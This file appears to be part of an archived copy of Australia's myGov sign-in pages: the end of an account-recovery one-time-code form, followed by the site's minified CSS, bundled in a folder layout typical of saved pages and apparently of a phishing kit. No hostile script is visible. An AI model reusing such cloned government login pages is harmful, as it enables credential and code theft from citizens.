    			<button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button>
			</div>

		
			<input type="hidden" name="accountRecovery" value="true">
			<input type="hidden" name="authtype" value="otp">
			 
			<input type="hidden" name="_resetMobileEligible" value="">
			<input type="hidden" name="_fallback" value=""> 
			<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">	
		<div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
	
</div></div>
	
	




<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./smsone_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



</body></html>mygov/app/smsone_files/blugov.css000064400000211165151676702570013211 0ustar00.confirm-action.blugov{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;background-color:#254a7e}.confirm-action.blugov:hover{text-decoration:none;background-color:#183052;color:#fff}.confirm-action.blugov:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.confirm-action.blugov:disabled{background-color:#a0a0a3}html{font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}html :focus{outline:4px solid #183052;outline-offset:2px}html body{font-size:18px;color:#000;font-weight:400}html h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;line-height:34px}html a:focus{outline:0;outline-offset:none}html a.anchor:focus{outline:0;outline-offset:none}html .error-msg{border:2px solid #dc3548;border:.125rem solid #dc3548;border-left-width:48px;color:#333;border-radius:5px}html .error-msg::before{background-image:url("../blugov/Icons---System---Alert---Emergency.svg")}html .error-msg span{display:inline}html .error-msg .error-msg-text a{font-size:18px}html .success-msg{border:2px solid #1a9f50;border:.125rem solid #1a9f50;border-left-width:48px;color:#333;border-radius:5px}html .success-msg::before{background-image:url("../blugov/Icons---System---Tick---Line.svg")}html .success-msg span{display:inline}html .success-msg .success-msg-text a{font-size:18px}html .hasInfo{font-size:16px;border-left:4px solid #254a7e}html .hasInfo span,html .hasInfo a{font-size:16px}html .hasError{border-left:4px solid #dc3548;font-size:14px;font-weight:400}html .hasError p,html .hasError span{color:#dc3548}html .hasError p.hasError,html .hasError span.hasError{color:#dc3548}html .hasError p.hasError p,html .hasError span.hasError p{margin-top:10px;margin-bottom:0}.brand-rainbow{height:5px;background:url("../blugov/M-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}.brand-rainbow.padding{margin-bottom:1em}@media screen and (max-width:640px){.brand-rainbow{height:7px;background:url("../blugov/D-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}}@media screen and (min-width:992px){header .inner{max-width:1360px!important;margin-left:auto;margin-right:auto}}header section.wrapper{min-height:100px}header .inner{height:100px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:left;-webkit-justify-content:left;-ms-flex-pack:left;justify-content:left;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;padding:16px 20px}header.mgvEnhanceHeader{height:100px;min-height:100px;background-color:#183052;border-bottom-color:#183052}header.mgvEnhanceHeader .header-logo{display:none}header .unauth-grid-row a{display:inline;color:none;border-bottom:0}header .unauth-grid-row a:hover{background-color:transparent}header .unauth-grid-row a:focus{outline:2px solid #33c4e8;outline-offset:4px}.login-grid-column{width:100%}@media screen and (min-width:640px){.unauth .digital-id-login-card{padding:0;max-width:100%;width:100%}}.main-block{max-width:600px}.main-block .button-secondary,.main-block .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block .button-secondary:hover,.main-block .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block .button-secondary:focus,.main-block .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.main-block a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.main-block a:focus{outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block a.button-minor.button:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block a.button-minor.button:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button.error-button-padding{padding-top:.6em}.main-block .button-main{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.main-block .button-main:hover{text-decoration:none;background-color:#183052;color:#fff}.main-block .button-main:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}a#back-to-top{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}a#back-to-top:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a#back-to-top:focus{outline:4px solid #183052;outline-offset:2px}a.button-back{font-size:14px!important;font-weight:500}a.button-back::before{background-position:unset;background-size:1em;top:-2px;-webkit-transform:scale(0.5);transform:scale(0.5);right:2.2em;background-image:url("../icons/blugov-left-chevron.svg")}a.button-back-error{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px;font-size:14px!important;font-weight:500}a.button-back-error:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a.button-back-error:focus{outline:4px solid #183052;outline-offset:2px}a.margin-left{font-size:18px!important;margin-left:0!important}a[data-go-back-link=""]{font-size:18px!important}.error-arrow{height:.7em;margin-right:.5em}#digital-id-modal-background+img{display:none}.digital-id-main-login-card.override{width:100%!important;max-width:100%!important}.return-error-links{margin-top:1em}.anchor.override{font-weight:500}.button-container .button,.button-digital-id-container .button{padding-left:17px;padding-right:17px}.button-container{text-align:center}.wrapper form .button-container,#content form .button-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.help-text{display:block}.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:36px;padding-right:36px}@media(max-width:640px){.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:0;padding-right:0}}.wrapper-mapwap .main-block,.unauth .main-block{max-width:600px}.wrapper-mapwap h1,.unauth h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;margin-bottom:unset;margin-bottom:20px}.wrapper-mapwap .hr-word,.unauth .hr-word{width:100%!important;height:20px;margin-top:40px;margin-right:12.5%;margin-bottom:40px}.wrapper-mapwap .hr-word span,.unauth .hr-word span{background-color:black}.wrapper-mapwap .password-help,.unauth .password-help{font-size:14px;color:#666;display:block}.wrapper-mapwap form label,.wrapper-mapwap form .std-Legend,.unauth form label,.unauth form .std-Legend{font-size:14px;display:inline;color:#333}.wrapper-mapwap form label[for="newPassword"],.wrapper-mapwap form .std-Legend[for="newPassword"],.unauth form label[for="newPassword"],.unauth form .std-Legend[for="newPassword"]{font-weight:600}.wrapper-mapwap form label[for="mobileConfirmationCode"],.wrapper-mapwap form .std-Legend[for="mobileConfirmationCode"],.unauth form label[for="mobileConfirmationCode"],.unauth form .std-Legend[for="mobileConfirmationCode"]{font-weight:600}.wrapper-mapwap form label[for="mobile-number"],.wrapper-mapwap form .std-Legend[for="mobile-number"],.unauth form label[for="mobile-number"],.unauth form .std-Legend[for="mobile-number"]{font-weight:600}.wrapper-mapwap form label[for="otpanswer"],.wrapper-mapwap form .std-Legend[for="otpanswer"],.unauth form label[for="otpanswer"],.unauth form .std-Legend[for="otpanswer"]{font-weight:600}.wrapper-mapwap form label[for="verificationCode"],.wrapper-mapwap form .std-Legend[for="verificationCode"],.unauth form label[for="verificationCode"],.unauth form .std-Legend[for="verificationCode"]{font-weight:600}.wrapper-mapwap form label[for="passwordRetyped"],.wrapper-mapwap form .std-Legend[for="passwordRetyped"],.unauth form label[for="passwordRetyped"],.unauth form .std-Legend[for="passwordRetyped"]{font-weight:600}.wrapper-mapwap form label[for="totpanswer"],.wrapper-mapwap form .std-Legend[for="totpanswer"],.unauth form label[for="totpanswer"],.unauth form .std-Legend[for="totpanswer"]{font-weight:600}.wrapper-mapwap form label[for="userId"],.wrapper-mapwap form .std-Legend[for="userId"],.unauth form label[for="userId"],.unauth form .std-Legend[for="userId"]{font-weight:600;display:block}.wrapper-mapwap form label[for="userId"] .hasInfo,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo,.unauth form label[for="userId"] .hasInfo,.unauth form .std-Legend[for="userId"] .hasInfo{font-size:16px;font-weight:400}.wrapper-mapwap form label[for="userId"] .hasInfo a,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo a,.unauth form label[for="userId"] .hasInfo a,.unauth form .std-Legend[for="userId"] .hasInfo a{font-size:16px}.wrapper-mapwap form label[for="email-addr"],.wrapper-mapwap form .std-Legend[for="email-addr"],.unauth form label[for="email-addr"],.unauth form .std-Legend[for="email-addr"]{font-weight:600}.wrapper-mapwap form label[for="1"],.wrapper-mapwap form .std-Legend[for="1"],.unauth form label[for="1"],.unauth form .std-Legend[for="1"]{display:block;font-size:18px}.wrapper-mapwap form label[for="1"]:focus,.wrapper-mapwap form .std-Legend[for="1"]:focus,.unauth form label[for="1"]:focus,.unauth form .std-Legend[for="1"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label[for="2"],.wrapper-mapwap form .std-Legend[for="2"],.unauth form label[for="2"],.unauth form .std-Legend[for="2"]{display:block;font-size:18px}.wrapper-mapwap form label[for="2"]:focus,.wrapper-mapwap form .std-Legend[for="2"]:focus,.unauth form label[for="2"]:focus,.unauth form .std-Legend[for="2"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.hasError,.wrapper-mapwap form .std-Legend.hasError,.unauth form label.hasError,.unauth form .std-Legend.hasError{display:block}.wrapper-mapwap form p a,.unauth form p a{font-size:18px}.wrapper-mapwap form input,.unauth form input{border-radius:5px;border:2px solid #808080;font-size:16px;font-weight:400;height:50px;color:#101012}.wrapper-mapwap form input:focus,.unauth form input:focus{outline:4px solid #183052;outline-offset:2px;border:2px solid #808080}.wrapper-mapwap form input[data-username],.unauth form input[data-username]{max-width:none;width:100%}.wrapper-mapwap form [name="radioQuestion"]:focus,.unauth form [name="radioQuestion"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:focus,.unauth form [type="radio"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::before,.unauth form [type="radio"]:checked+label::before{border:2px solid #333;display:block}.wrapper-mapwap form [type="radio"]:checked+label::before:focus,.unauth form [type="radio"]:checked+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::after,.unauth form [type="radio"]:checked+label::after{background-color:#254a7e;display:block}.wrapper-mapwap form [type="radio"]:checked+label::after:focus,.unauth form [type="radio"]:checked+label::after:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.override,.unauth form label.override{font-weight:600!important}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{font-size:14px;margin-top:10px}.wrapper-mapwap form span[role="alert"].hasInfo,.wrapper-mapwap form p[role="alert"].hasInfo,.unauth form span[role="alert"].hasInfo,.unauth form p[role="alert"].hasInfo{font-size:16px}.wrapper-mapwap form span[role="alert"].hasInfo a,.wrapper-mapwap form p[role="alert"].hasInfo a,.unauth form span[role="alert"].hasInfo a,.unauth form p[role="alert"].hasInfo a{font-size:16px}.wrapper-mapwap form span[role="alert"] a,.wrapper-mapwap form p[role="alert"] a,.unauth form span[role="alert"] a,.unauth form p[role="alert"] a{font-size:14px}.wrapper-mapwap form label[for="answer"],.unauth form label[for="answer"]{font-weight:600}.wrapper-mapwap form label[for="createQuestion"],.unauth form label[for="createQuestion"]{font-weight:600;display:none}.wrapper-mapwap form label[for="email_add"],.unauth form label[for="email_add"]{display:block;font-size:18px}.wrapper-mapwap form label[for="mobile_no"],.unauth form label[for="mobile_no"]{display:block;font-size:18px}.wrapper-mapwap form label[for="decline-digital-identity"],.wrapper-mapwap form label[for="confirm-digital-identity"],.unauth form label[for="decline-digital-identity"],.unauth form label[for="confirm-digital-identity"]{display:block;font-size:18px}.wrapper-mapwap form input[type="radio"]+label::before,.unauth form input[type="radio"]+label::before{border:2px solid #808080}.wrapper-mapwap form input[type="radio"]+label::before:focus,.unauth form input[type="radio"]+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form input[type="radio"]:checked+label,.unauth form input[type="radio"]:checked+label{font-weight:600}.wrapper-mapwap form input[type="radio"]:checked+label:focus,.unauth form input[type="radio"]:checked+label:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form a,.unauth form a{font-size:14px}.wrapper-mapwap form a.form-terms-link,.unauth form a.form-terms-link{font-size:18px}.wrapper-mapwap form a.anchor,.unauth form a.anchor{font-size:14px}.wrapper-mapwap .digital-id-login-card,.unauth .digital-id-login-card{background-color:#fff;text-align:center;width:100%;padding:0}.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:600px}.wrapper-mapwap .digital-id-main-login-card,.unauth .digital-id-main-login-card{width:100%;max-width:100%;margin:unset;padding:0}.wrapper-mapwap .digital-id-main-login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.wrapper-mapwap .button-digital-id-main-container,.unauth .button-digital-id-main-container{margin-top:0}.wrapper-mapwap .button-digital-id-container,.unauth .button-digital-id-container{background-color:#fff}.wrapper-mapwap a,.unauth a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.wrapper-mapwap a:hover,.unauth a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.wrapper-mapwap a:focus,.unauth a:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap a.anchor,.unauth a.anchor{background-color:#fff;color:#254a7e;text-decoration:underline;font-size:18px}.wrapper-mapwap a.anchor:hover,.unauth a.anchor:hover{text-decoration:none;background-color:#fff;color:#254a7e}.wrapper-mapwap a.anchor:focus,.unauth a.anchor:focus{outline:4px solid #183052;outline-offset:2px;color:#254a7e}.wrapper-mapwap a.anchor.left-facing-arrow,.unauth a.anchor.left-facing-arrow{position:relative;left:1em}.wrapper-mapwap a.anchor.left-facing-arrow .go-back-text,.unauth a.anchor.left-facing-arrow .go-back-text{margin-left:.5em}.wrapper-mapwap a.anchor.left-facing-arrow::before,.unauth a.anchor.left-facing-arrow::before{content:'';display:block;top:1.2em;width:.75em;height:.75em;position:relative;left:-1em;background-repeat:no-repeat;background-position:left;background-size:.64em auto;color:#254a7e;background-image:url("../icons/link-arrow.svg");-webkit-transform:scaleX(-1);transform:scaleX(-1)}.wrapper-mapwap .button-main,.wrapper-mapwap .button-digital-identity,.unauth .button-main,.unauth .button-digital-identity{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-main:hover,.wrapper-mapwap .button-digital-identity:hover,.unauth .button-main:hover,.unauth .button-digital-identity:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap .button-main:focus,.wrapper-mapwap .button-digital-identity:focus,.unauth .button-main:focus,.unauth .button-digital-identity:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap .button-secondary,.wrapper-mapwap .button-minor,.unauth .button-secondary,.unauth .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-secondary:hover,.wrapper-mapwap .button-minor:hover,.unauth .button-secondary:hover,.unauth .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.wrapper-mapwap .button-secondary:focus,.wrapper-mapwap .button-minor:focus,.unauth .button-secondary:focus,.unauth .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword,.unauth button.showPassword{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;border-top:2px solid #808080;border-top:.125rem solid #808080;border-right:2px solid #808080;border-right:.125rem solid #808080;border-bottom:2px solid #808080;border-bottom:.125rem solid #808080;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0;min-width:-webkit-fit-content;min-width:-moz-fit-content;min-width:fit-content;background-color:#fff;color:#254a7e;text-decoration:underline;font-size:16px;font-weight:500}.wrapper-mapwap button.showPassword:hover,.unauth button.showPassword:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:hover,.unauth button.showPassword:focus{background-color:#254a7e;color:#fff;text-decoration:underline;outline:4px solid #183052;outline-offset:2px;border-top:2px solid #254a7e;border-top:.125rem solid #254a7e;border-right:2px solid #254a7e;border-right:.125rem solid #254a7e;border-bottom:2px solid #254a7e;border-bottom:.125rem solid #254a7e;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.wrapper-mapwap .digital-id-login-card-wrapper,.unauth .digital-id-login-card-wrapper{background-color:#fff}.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-bottom:0}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:20px;margin-bottom:60px}.wrapper-mapwap .login-card,.wrapper-mapwap .digital-id-main-login-card,.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#fff;padding:10px;max-width:75%;margin:0 auto;padding:0}footer[role="contentinfo"]{background-color:#000}footer[role="contentinfo"] .wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding-bottom:40px!important}footer[role="contentinfo"] .inner{max-width:1360px;margin-left:auto;margin-right:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-right:0;margin-left:0}footer[role="contentinfo"] a:focus{outline:0;outline-offset:none}footer[role="contentinfo"] .footer-heading{display:none}footer[role="contentinfo"] .footer-list{border-bottom:1px solid #999;padding:25px 0;margin-bottom:44px}footer[role="contentinfo"] .lower-links{margin-top:0;margin-bottom:0}footer[role="contentinfo"] .lower-links a{color:#fff;border-bottom:0;font-size:14px;font-weight:400}footer[role="contentinfo"] .lower-links a:hover{text-decoration:underline;background-color:transparent;color:#66d3ee}footer[role="contentinfo"] .lower-links a:focus{outline:2px solid #33c4e8;outline-offset:4px}footer[role="contentinfo"] .lower-links li{display:inline}footer[role="contentinfo"] .lower-links li:not(:last-child){margin-right:24px}footer[role="contentinfo"] .footer-links a{color:#fff;border-bottom:0;font-size:18px;font-weight:400}footer[role="contentinfo"] .footer-links a:hover{text-decoration:underline;background-color:transparent}footer[role="contentinfo"] .footer-links a:focus{outline:4px solid #fff;outline-offset:2px;color:#fff}footer[role="contentinfo"] .footer-links a:active{background:#d9d9d6}footer[role="contentinfo"] .footer-lower{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}footer[role="contentinfo"] .footer-lower-logo img{height:100%}footer[role="contentinfo"] .footer-lower-logo a{color:none;border-bottom:0}footer[role="contentinfo"] .footer-lower-logo a:hover{background-color:transparent}footer[role="contentinfo"] .footer-lower-logo a:focus{outline:2px solid #183052;outline-offset:4px}@media screen and (min-width:576px){footer[role="contentinfo"] .footer-list{margin-bottom:44px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:992px){footer[role="contentinfo"] .footer-lower-logo img{height:54px;max-width:308px;margin-bottom:0}footer[role="contentinfo"] .footer-lower{padding-top:1em;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}footer[role="contentinfo"] .footer-acknowledgement{max-width:650px}footer[role="contentinfo"] .inner{width:1360px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1200px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1244px){footer[role="contentinfo"] .inner{padding-left:40px;padding-right:40px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:640px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}footer[role="contentinfo"] .footer-lower-logo{margin-right:32px;margin-bottom:43px}footer[role="contentinfo"] .footer-acknowledgement{color:#fff;font-size:16px;line-height:26px;font-weight:400;margin:0}.input-group.hasError .showPassword,label.hasError .showPassword{border-top:2px solid #dc3548;border-top:.125rem solid #dc3548;border-right:2px solid #dc3548;border-right:.125rem solid #dc3548;border-bottom:2px solid #dc3548;border-bottom:.125rem solid #dc3548;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.input-group.hasError input,label.hasError input{border:2px solid #dc3548}.input-group.hasError input:focus,label.hasError input:focus{border:2px solid #dc3548}#artifact-metadata{display:none}#passwordResetPair p:nth-of-type(1),#passwordResetPair p:nth-of-type(2),#resetPasswordPair p:nth-of-type(1),#resetPasswordPair p:nth-of-type(2){margin:24px 0 24px 0}#security-codes-info p{margin-top:.5em}#security-codes-info p a{font-size:16px}.recovery:first-of-type{margin-top:5px!important;margin-bottom:20px}.recovery:nth-of-type(2){margin-top:5px!important;margin-bottom:25px}ul.consent li{padding-left:10px}ul.consent li::marker{font-size:22px}.button-container button:first-child{margin-bottom:0}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem}.button-container button:first-child{margin-bottom:unset}.button-container button:first-child,.button-digital-id-main-container button:first-child{margin-bottom:unset}.button-main,.button-minor,.button-danger,.button-modal-main{margin:unset}.button-minor{margin:unset}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2){margin-right:unset}button,.button,[role="button"],[type="submit"],[type="reset"],[type="button"]{margin:unset;padding:unset}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{line-height:unset;margin:unset;margin-bottom:unset}button,input,optgroup,select,textarea{margin:unset}.button-main{padding-top:unset}.button-main{margin-right:1em}@media(screen) and (min-width:640px){.button-main{margin-right:3em}}form [type='radio']:focus+label{outline:4px solid #183052;outline-offset:2px}.draw-circle{border:1px solid #ccc;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:6px}.text-align-left{text-align:left}.text-align-left.alternative{margin-left:0}@media screen and (max-width:640px){.text-align-left.alternative{margin-left:-1em}}#mygov-login-form.alternative{margin-left:1em;margin-right:1em}.digital-id-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border-right:1px solid #949494;border-left:1px solid #949494;border-bottom:1px solid #949494;margin-top:20px}.digital-id-login-option-container .inner-options{margin-left:1em;margin-right:1em;padding-bottom:30px}@media screen and (max-width:640px){.digital-id-login-option-container .inner-options{margin-left:20px;margin-right:20px}}.digital-id-login-option-container .inner-options p{text-align:left;font-size:16px}.digital-id-login-option-container .inner-options p a{display:inline;font-size:16px;padding:0}.digital-id-login-option-container .inner-options .hr-word{margin-top:0}.mygov-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border:1px solid #949494;padding-top:25px;padding-bottom:30px;margin-top:20px}.mygov-login-option-container .new-brand-rainbow{position:relative;margin-top:-25px}.terms-service-text{font-size:16px}.terms-service-text a{font-size:16px}#new-modal-content,#secondary-identity-modal{border-radius:15px;padding:30px}.identity-modal-button-container,.secondary-identity-modal-button-container{text-align:right}#identity-first-confirm-button,#identity-second-confirm-button{max-width:160px}#identity-first-confirm-button:disabled,#identity-second-confirm-button:disabled{background-color:grey;font-weight:300}.new-brand-rainbow{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:40px}@media screen and (max-width:640px){.new-brand-rainbow{margin-bottom:.4em}}.new-brand-rainbow.padding{margin-bottom:25px}@media screen and (max-width:640px){.new-brand-rainbow.padding{margin-left:-1em;margin-right:-1em}}.new-brand-rainbow .rainbow-first{width:39px;height:5px;display:inline-block;background-color:#006bdf}.new-brand-rainbow .rainbow-second{width:100%;height:5px;display:inline-block;background-color:#172f52}.external-links-zone span.mygovid{float:unset}#first-dismiss,#second-dismiss{width:36px;height:36px}.unauth a.anchor{background-color:transparent}.unauth a.anchor:hover{background-color:transparent}p.login-instruction-text{margin-left:0;margin-top:.5rem;margin-bottom:0;margin-right:0}.digital-id-login-card-wrapper h2{font-weight:700}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-mapwap h1:first-of-type,#inner-content h1:first-of-type,.unauth h1:first-of-type,.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-top:28px;margin-top:1.75rem;margin-bottom:12px;margin-bottom:.75rem;font-size:32px;font-size:2rem;letter-spacing:-0.32px;letter-spacing:-0.02rem;line-height:1.34375;margin-top:0}p,.wrapper-mapwap .digital-id-login-option-container .inner-options p,#inner-content .digital-id-login-option-container .inner-options p,.unauth .digital-id-login-option-container .inner-options p,.wrapper-mapwap .digital-id-login-option-container .inner-options p a,.wrapper-mapwap .digital-id-login-option-container .inner-options p a.anchor,#inner-content .digital-id-login-option-container .inner-options p a,#inner-content .digital-id-login-option-container .inner-options p a.anchor,.unauth .digital-id-login-option-container .inner-options p a,.unauth .digital-id-login-option-container .inner-options p a.anchor{font-size:inherit}.main-block,.wrapper-mapwap .main-block,.unauth .main-block,.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:650px;max-width:40.625rem}html,body{overflow-x:hidden}h1,h2,.display{color:#333}h2:first-of-type,.display:first-of-type{margin-top:30px;margin-top:1.875rem}*,ul,ol,dl,p,dt,dd{line-height:1.75}*::first-line ,ul::first-line ,ol::first-line ,dl::first-line ,p::first-line ,dt::first-line ,dd::first-line {line-height:1.5}ul,ol,dl,p,dt,dd{margin-bottom:20px;margin-bottom:1.25rem}legend{color:#333}.wrapper-mapwap{padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem}@media screen and (min-width:1024px){.wrapper-mapwap{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}.wrapper-mapwap form input,.unauth form input{border-radius:2px;border-radius:.125rem;height:48px;height:3rem;border:1px solid #000;border:.0625rem solid #000}.wrapper-mapwap form input:focus,.unauth form input:focus{outline-width:2px;outline-width:.125rem;outline-color:#000;border-color:#000}.button-container.single-button{text-align:left}.button-container.single-button button,.button-container.single-button a{margin-right:0}.did-link{font-size:14px;font-size:.875rem}.wider-container{width:951px;width:59.4375rem;position:relative;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);max-width:-webkit-calc(100vw - 50px);max-width:calc(100vw - 50px);max-width:-webkit-calc(100vw - 3.125rem);max-width:calc(100vw - 3.125rem)}.continue-digital-identity-chevron{font-size:16px!important}.continue-digital-identity-chevron::after{content:"";position:absolute;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url(../icons/link-arrow.svg)}.wrapper-mapwap h2:first-of-type,.wrapper-mapwap .display:first-of-type,#inner-content h2:first-of-type,#inner-content .display:first-of-type,.unauth h2:first-of-type,.unauth 